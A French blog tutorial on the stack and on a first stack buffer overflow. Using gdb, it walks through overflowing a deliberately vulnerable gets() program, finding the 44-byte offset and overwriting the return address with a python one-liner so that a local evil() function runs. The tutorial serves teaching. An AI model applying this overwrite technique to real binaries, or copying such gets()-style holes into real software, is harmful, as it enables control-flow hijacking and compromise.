face
⯇ back

Réaliser votre premier buffer overflow, et apprenez les bases de l’exploitation de binaire.

Category : Binary Exploitation
8 min read
on Sept. 11, 2017, noon

Dans cet article je vais tenter de vous expliquer le fonctionnement d'un stack buffer overflow, autrement dit d'un dépassement de buffer dans la pile.

Un stack buffer overflow est une vulnérabilité qui permet a un utilisateur d'écraser des valeurs dans la pile (stack) d'exécution du programme pour rediriger l'exécution du programme

 Qu'est ce que la pile d'exécution du programme ?

La pile d'exécution d'un programme est un espace dans la mémoire utilisée par le programme. Il faut la voir comme n'importe quelle pile, une pile d'assiette par exemple, elle a un comportement dit "LIFO" c'est à dire Last-In First-Out, en français : dernier arrivé premier sorti. Il y a deux actions possibles avec une pile , le push et le pop.


  • Le push ajoute une valeur sur la pile comme si l'on ajouté une assiette en haut de la pile.

  • le pop retire  une valeur en haut de la pile : comme si l'on retirer une assiette de la pile.

 À quoi sert la pile dans un programme ?

La pile est utilisée par un programme pour stocker des valeurs dans la mémoire du programme ainsi que pour passer des arguments a une fonction. Prenons l'exemple du code suivant :


#include <stdio.h>

int somme(int a,int b)
{
return a+b;
}

int main(int argc,char **argv)
{
somme(1,2);
return 0;
}

  Désassemblons la fonction main dans gdb pour voir l'appelle a la fonction somme en assembleur :


neolex@archlinux-pc> Bureau$gcc somme.c -o somme -m32 -fno-stack-protector
neolex@archlinux-pc> Bureau$gdb -q ./somme
Reading symbols from ./somme...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000524 <+0>: push ebp
0x00000525 <+1>: mov ebp,esp
0x00000527 <+3>: call 0x544 <__x86.get_pc_thunk.ax>
0x0000052c <+8>: add eax,0x1ad4
0x00000531 <+13>: push 0x2
0x00000533 <+15>: push 0x1
0x00000535 <+17>: call 0x50d <somme>
0x0000053a <+22>: add esp,0x8
0x0000053d <+25>: mov eax,0x0
0x00000542 <+30>: leave
0x00000543 <+31>: ret
End of assembler dump.
  comme vous pouvez le voir avant le "call somme" qui , comme son nom l'indique, appelle la fonction somme. On peut voir les deux arguments ( 0x1 et 0x2 ) ajouté dans la pile grâce à deux push des variables dans l'ordre inverse de leur passage en argument nous afficheront la pile dans gdb avant ces deux push :

gdb-peda$ x/12wx $esp
0xffffd678: 0x00000000 0xf7d341d3 0x00000001 0xffffd714
0xffffd688: 0xffffd71c 0xffffd6a4 0x00000001 0xffffd714
0xffffd698: 0xf7ed6e68 0xf7f2e8aa 0xf7f42fbc 0x00000000

Ensuite après ces deux push :

gdb-peda$ step
gdb-peda$ step
gdb-peda$ x/12wx $esp
0xffffd670: 0x00000001 0x00000002 0x00000000 0xf7d341d3
0xffffd680: 0x00000001 0xffffd714 0xffffd71c 0xffffd6a4
0xffffd690: 0x00000001 0xffffd714 0xf7ed6e68 0xf7f2e8aa

nous pouvons voir que deux valeurs 0x1 et 0x2 on été ajouté dans la pile. Maintenant le programme n'a plus qu'à les "poper" de la pile pour les utiliser.

Sauvegarde de l'adresse de retour sur le pile

Lorsqu'une fonction est appelée avec call , l'adresse où doit retourner le programme après l'exécution de la fonction appelée est stockée dans la pile ' voici la pile avant le call:


gdb-peda$ x/12wx $esp
0xffffd670: 0x00000001 0x00000002 0x00000000 0xf7d341d3
0xffffd680: 0x00000001 0xffffd714 0xffffd71c 0xffffd6a4
0xffffd690: 0x00000001 0xffffd714 0xf7ed6e68 0xf7f2e8aa

et la pile une fois le call effectué :


gdb-peda$ x/12wx $esp
0xffffd66c: 0x5655553a 0x00000001 0x00000002 0x00000000
0xffffd67c: 0xf7d341d3 0x00000001 0xffffd714 0xffffd71c
0xffffd68c: 0xffffd6a4 0x00000001 0xffffd714 0xf7ed6e68

nous pouvons voir que l'adresse 0x5655553a a été ajoutée sur la pile.Le programme retournera donc à cet endroit une fois exécution de la fonction somme terminée.


gdb-peda$ disassemble main
Dump of assembler code for function main:
0x56555524 <+0>: push ebp
0x56555525 <+1>: mov ebp,esp
0x56555527 <+3>: call 0x56555544 <__x86.get_pc_thunk.ax>
0x5655552c <+8>: add eax,0x1ad4
0x56555531 <+13>: push 0x2
0x56555533 <+15>: push 0x1
0x56555535 <+17>: call 0x5655550d <somme>
0x5655553a <+22>: add esp,0x8
0x5655553d <+25>: mov eax,0x0
0x56555542 <+30>: leave
0x56555543 <+31>: ret

Comme on peut le voir c'est bien l'adresse de l'instruction après le "call somme". Maintenant expliquons le fonctionnement de l'instruction ret qui retourne à l'adresse de retour. Le ret agit comme un "pop eip". Il récupère l'adresse de retour sur la pile pour le mettre dans le registre d'instruction eip. Le registre EIP pointe vers la prochaine instruction à exécuter. Contrôler EIP revient donc à contrôler le flux d'exécution du programme.

Stack overflow ?

Maintenant nous savons comment fonctionne la pile et comment est appelée une fonction. Regardons comment exploiter notre premier programme vulnérable.

Le programme vulnérable :

Nous allons utiliser le programme suivant :


#include <stdlib.h>
#include <stdio.h>

// Essayez de lancer cette fonction
int evil()
{
printf("Stack overflow Reussi");
return 0;
}

int vuln()
{
char buffer[32];
gets(buffer);
return 0;
}

int main(int argc,char **argv)
{
vuln();
return 0;
}

Compilez le programme avec la commande : gcc vuln.c -m32 -fno-stack-protector -o vuln

Exploitation du stack overflow

Le but va être de lancer la fonction evil en écrasant la valeur de retour de l'adresse stockée sur la pile. Pourquoi se programme est vulnérable ? Car la fonction gets ne vérifie pas la taille des données entrée dans le "buffer" de 32 caractères. On peut donc écrire plus de 32 caractères et écraser la valeur de retour situé après le buffer dans la pile. Posons un breakpoint sur le ret de la fonction vuln : gdb-peda$ break *vuln+43 maintenant entrons quelque 'A' dans le buffer et affichons les valeurs dans la pile  :


gdb-peda$ x/65wx $esp
0xffffd660: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd670: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd680: 0x00000000 0x00000000 0xffffd698 0x565555e8

nous pouvons voir que les A sont biens empilés (la valeur ascii de A est 0x41)  mais n'écrasent pas encore l'adresse de retour de la pile ( 0x565555e8 ). lançons le programme avec plus de A, on obtient  une segmentation fault à l'adresse 0x41414141 L'adresse de retour stockée dans la pile à donc été écrasée par les 'A'. Maintenant écrivons un pattern dans le buffer pour voir à partir de quelle longueur de chaîne on écrase l'adresse de retour :


 


neolex@archlinux-pc> ~$BofPattern.pl 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

lançons le programme avec cette chaîne, nous obtenons une segmentation fault à l'adresse 0x35624134, demandons à notre petit script la taille correspondante :


neolex@archlinux-pc> ~$ BofPattern.pl 0x35624134
44

Il faut donc écrire 44 caractères pour  écraser l'adresse de retour stockée dans la pile. Envoyons 44 A et 4 B pour que le programme segfault a 0x42424242 ( 42 est le code ascii de B) :


python -c "print('A'*44+'BBBB')"
[...]
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Voilà, il ne reste plus qu'à modifier nos B par l'adresse de la fonction evil que l'on récupère avec gdb :


gdb-peda$ p evil
$1 = {} 0x5655555d

Cependant notre processeur a une architecture intel qui est en little endian. C'est a dire que les bits de poids faible sont écrit en premier. L'adresse doit donc être écrite à l'envers. lançons notre programme avec la bonne adresse en redirigant la sortie du script python qui affiche le nombre de A puis l'adresse :


 


neolex@archlinux-pc $ python -c 'print("A"*44+"\x5d\x55\x55\x56")'|./vuln
Stack overflow Reussi
Erreur de segmentation (core dumped)

La fonction evil a bien été appelée, notre premier stack buffer overflow est réalisé !


Comment:

captcha